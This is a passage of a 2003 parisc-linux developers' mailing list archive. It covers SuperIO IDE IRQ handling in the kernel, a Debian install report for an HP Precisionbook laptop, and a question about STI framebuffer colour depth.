	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 10:45:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DEBE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Apr 2003 10:45:16 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 575FECD295; Tue, 15 Apr 2003 09:41:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3E9BA3670000071C@ocpmta1.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18256

> By the way, in drivers/char/serial.c, also related to 'superio', i noticed:
> 
> #ifdef CONFIG_SUPERIO
>     superio_serial_init();
> #endif

this probably should not go upstream.. it's a hack so we can get early
console (and is stlil broken on 2.5 :-( )

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 15 Apr 2003 17:47:22 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030415164722.GF30643@parcelfarce.linux.theplanet.co.uk>
References: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk> <3E9BA3670000071C@ocpmta1.freegates.net> <20030415164139.GJ25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622386 24692 80.91.229.3 (22 Nov 2014 02:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:06 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 10:47:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F1754845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Apr 2003 10:47:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195Tac-0006sS-2g; Tue, 15 Apr 2003 17:47:22 +0100
Content-Disposition: inline
In-Reply-To: <20030415164139.GJ25257@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18257

On Tue, Apr 15, 2003 at 09:41:39AM -0700, Randolph Chung wrote:
> > By the way, in drivers/char/serial.c, also related to 'superio', i noticed:
> > 
> > #ifdef CONFIG_SUPERIO
> >     superio_serial_init();
> > #endif
> 
> this probably should not go upstream.. it's a hack so we can get early
> console (and is stlil broken on 2.5 :-( )

agreed.  the drivers/ stuff is much less interesting than getting
arch/parisc and include/asm-parisc more uptodate in marcelo's tree.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: 15 Apr 2003 16:54:32 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1050422072.27744.67.camel@dhcp22.swansea.linux.org.uk>
References: <3E9BA3670000071C@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622387 24694 80.91.229.3 (22 Nov 2014 02:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:07 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 10:52:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A9964829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Apr 2003 10:52:44 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3FFsZRN028370;
	Tue, 15 Apr 2003 16:54:36 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3FFsXRj028368;
	Tue, 15 Apr 2003 16:54:33 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3E9BA3670000071C@ocpmta1.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18258

On Maw, 2003-04-15 at 17:32, Joel Soete wrote:

> >ide_get_legacy(int n) [n=0/1] for interfaces.
> 
> And so I still have to add 
> #if defined(CONFIG_SUPERIO)
> #    define ide_get_legacy(x) superio_get_ide_irq()
> #else
> #    define ide_get_legacy(x) ... (still have to find what)
> #endif

What do you need to know if the legacy irq is to come from superio.
Should be we be asking ide_get_legacy(struct pci_device *pdev) ?

I just want to understand this so I (or you) do it right



From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 15 Apr 2003 18:52:53 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3E9BA3670000072D@ocpmta1.freegates.net>
References: <20030415164722.GF30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622387 24697 80.91.229.3 (22 Nov 2014 02:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:07 +0000 (UTC)
Cc: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 10:53:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 070D84829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Apr 2003 10:53:02 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 195Tfy-0002Qf-00; Tue, 15 Apr 2003 18:52:54 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 15 Apr 2003 18:52:53 +0200
In-Reply-To: <20030415164722.GF30643@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18259

>> 
>> this probably should not go upstream.. it's a hack so we can get early
>> console (and is stlil broken on 2.5 :-( )
>
>agreed.  the drivers/ stuff is much less interesting than getting
>arch/parisc and include/asm-parisc more uptodate in marcelo's tree.
>
That is Ok for me. I will so try to spend more time on this aspect.

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 16 Apr 2003 12:13:38 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <3E9BA3A600000AF6@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622387 24700 80.91.229.3 (22 Nov 2014 02:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:07 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 04:13:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id C57894829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 04:13:43 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 195jvA-0007bf-00; Wed, 16 Apr 2003 12:13:40 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 16 Apr 2003 12:13:38 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18260

>-- Original Message --
>Subject: Re: [parisc-linux] parisc-linux.org kernel
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: Grant Grundler <grundler@parisc-linux.org>,
>	parisc-linux@lists.parisc-linux.org
>Date: 15 Apr 2003 16:54:32 +0100
>
>
>On Maw, 2003-04-15 at 17:32, Joel Soete wrote:
>
>> >ide_get_legacy(int n) [n=0/1] for interfaces.
>>
>> And so I still have to add
>> #if defined(CONFIG_SUPERIO)
>> #    define ide_get_legacy(x) superio_get_ide_irq()
>> #else
>> #    define ide_get_legacy(x) ... (still have to find what)

well: clearer this morning, it would just have to become
#    define ide_get_legacy((x)) (x)?15:14

>> #endif
>
>What do you need to know if the legacy irq is to come from superio.

If I well understand the question: nothing because superio_get_ide_irq()
is defined in arch/parisc/kernel/superio.c as:
...
int
superio_get_ide_irq(void)
{
        if (sio_dev.irq_region)
                return sio_dev.irq_region->data.irqbase + IDE_IRQ;
        else
                return 0;
}

sio_dev being a global var:
...
static struct superio_device sio_dev = {
        iosapic_irq: -1
};

which is define in include/asm-parisc/superio.h as:
...
struct superio_device {
        u16 fdc_base;
        u16 sp1_base;
        u16 sp2_base;
        u16 pp_base;
        u16 acpi_base;
        int iosapic_irq;
        int iosapic_irq_enabled;
        struct irq_region *irq_region;
        struct pci_dev *lio_pdev;       /* pci device for legacy IO fn */
};
...

>Should be we be asking ide_get_legacy(struct pci_device *pdev) ?

IMHO it would be difficult this way; what do you thing?

>
>I just want to understand this so I (or you) do it right
>
You have certainly more experience and a broader view (over different platform)
than I (up to you)

Is this actually help?

Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: 16 Apr 2003 12:06:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1050491162.28727.24.camel@dhcp22.swansea.linux.org.uk>
References: <3E9BA3A600000AF6@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622387 24704 80.91.229.3 (22 Nov 2014 02:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:07 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:04:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 960284829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:04:10 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3GB64RN029654;
	Wed, 16 Apr 2003 12:06:05 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3GB63Vn029652;
	Wed, 16 Apr 2003 12:06:03 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3E9BA3A600000AF6@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18261

On Mer, 2003-04-16 at 11:13, Joel Soete wrote:
> If I well understand the question: nothing because superio_get_ide_irq()
> is defined in arch/parisc/kernel/superio.c as:
> >Should be we be asking ide_get_legacy(struct pci_device *pdev) ?
> 
> IMHO it would be difficult this way; what do you thing?

Ok so some people need to know the device, some the legacy (0/1) and
some nothing at all. I guess I pass both 8)




From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 13:07:06 +0100 (IST)
Lines: 100
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161214080.15781-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622388 24706 80.91.229.3 (22 Nov 2014 02:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:07:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 005FE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:07:07 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GC76631263
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 13:07:06 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18262

Hi,

I just wanted you to inform that I successfully installed
Debian testing on my Presicionbook.

However there are still some glitches:

- Internal LCD display not supported (properly)

  If you want to install Debian on a Presicionbook you have to use
  an external monitor and choose the "external VESA" modes - e.g.
  "1280x1024x8 75Hz VESA external" - the ONLY modes that worked for me.

  The "1024x768 62Hz RCILCD (internal)" doesn't work for me, ie. it
  doesn't switch to the stifb mode and it stops to display anything right
  after "Branching to kernel entry point" ... however the systems boots
  up and I can remote login (using my custom kernel)! Using the ESIEE
  kernel (also a 2.4.20-pa32) I was even able to see some kernel messages
  BEFORE it tried to switch to stifb; at least there was no tux on the
  screen (see my last posts), but seemed to hang then.

  BTW, there is some confusing info about the LCD screen;
  apparently it supports 256k colours (thousands!), but I doen't know
  whether it automatically converts 24bit pictures into 256k or
  whether you need to use a special video mode to be able use the 256k
  colours.

  The graphic card is an Visualize-EG, which can be updated with
  additional RAM (so you're able to display resolutions up to
  1600x1200 and having 1280x1024 in (true?) colour). I don't know
  how many memory my one has, but it's supposed to support
  1024x768 in true colour (so at least 3MB)

- PS/2 laptop keyboard

  The Presicionbook uses a 97-key keyboard. You can also attach an
  external PS/2 keyboard.

  The internal keyboard seems to work now - however it wouldn't work
  properly during the debian installation! I had to attach an external
  PS/2 keyboard to be able to use the debian-installer, since TAB, ESC and
  the ARROW-Keys didn't work using the laptop keyboard.

  Strangely enough it works perfectly now (for all other applications),
  maybe because it's just the debian-installer or maybe because I
  recompiled the kernel?!

- PS/2 laptop touchpad

  Had problems getting it to work at first.
  You have to use gpm and use the 'broken PS/2' mouse driver, e.g.

  gpm -t fups2 -m /dev/psaux -3 -Rms3

  (-Rms3 enables the repeater mode, so that you can use the mouse within
   XFree86. Choose '/dev/gpmdata' and 'IntelliMouse' as the mouse device
   and mouse type in XF86Config)

  You also need this configuration if you want to use an external PS/2
  mouse (even an external ImPS/2 Scrollwheel mouse in my example)

- The precompiled kernel from the EISEE team may hang ...

  ... since it has support for the CMD PCI0643 IDE Busmaster chip,
  which is obviously used in the Presicionbook, but the driver
  doensn't/mustn't be used in Linux, since it causes confusion!
  So add "ide=nodma" or something similar to the kernel parameters
  (using the IPL) or simply recompile the kernel with no IDE support.

  (The Presicionbook uses 2.5" IDE harddrives, obviously connected
   to the CMD chip, but they automagically appear as SCSI drives on LASI
   SCSI.)

- b/w LCD status screen

  The heartbeat, disk-activity etc. indicators seem to work perfectly.

- PCMCIA

  I'm honestly a little bit confused here.
  It uses the  Cirrus Logic PD 6832 PCMCIA/CardBus Controller, which
  seems to be supported under Linux, HOWEVER the physical slots
  appear to be just for old PCMCIA ISA 16bit PC Cards, not for the
  newer 32bit PCI CardBus PC Cards. I haven't tried whether it works,
  since I don't have any PCMCIA PC Cards (ISA or PCI Cardbus).

- Irda

  I don't know whether the IrDA chip is supported

- Serial/Parallel

  Couldn't test it since you need an external adapter to get access to the
  serial/parallel/aui ports.



greetings, Max



From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI fb questions
Date: Wed, 16 Apr 2003 13:28:43 +0100 (IST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161319540.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622388 24708 80.91.229.3 (22 Nov 2014 02:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:28:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5959D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:28:45 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GCSi631936
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 13:28:44 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18263

Hi,

I have some questions regarding STI fb and Visualize-EG.

My Precisionbook obviously has a Visualize-EG with just 2MB.
So it should be able to display at least 800x600 in 24/32bit and
1024x768 in 16bit, but it refuses to do so. 'dmesg' ALWAYS shows
only 8bit colour depth regardless of the display resolution.

Obviously the standard sti=8/24 sti_font=VGA8x16 is used in the
kernel command line (according to dmesg, however it's not specified in
palo.conf).

My question is know, does STIfb also supports 16bit? How can I force
16bit and 24/32bit colour depths? What does sti=8/24 exactly mean?


Thanks, Max



From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 13:29:48 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0304161214080.15781-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622388 24709 80.91.229.3 (22 Nov 2014 02:13:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
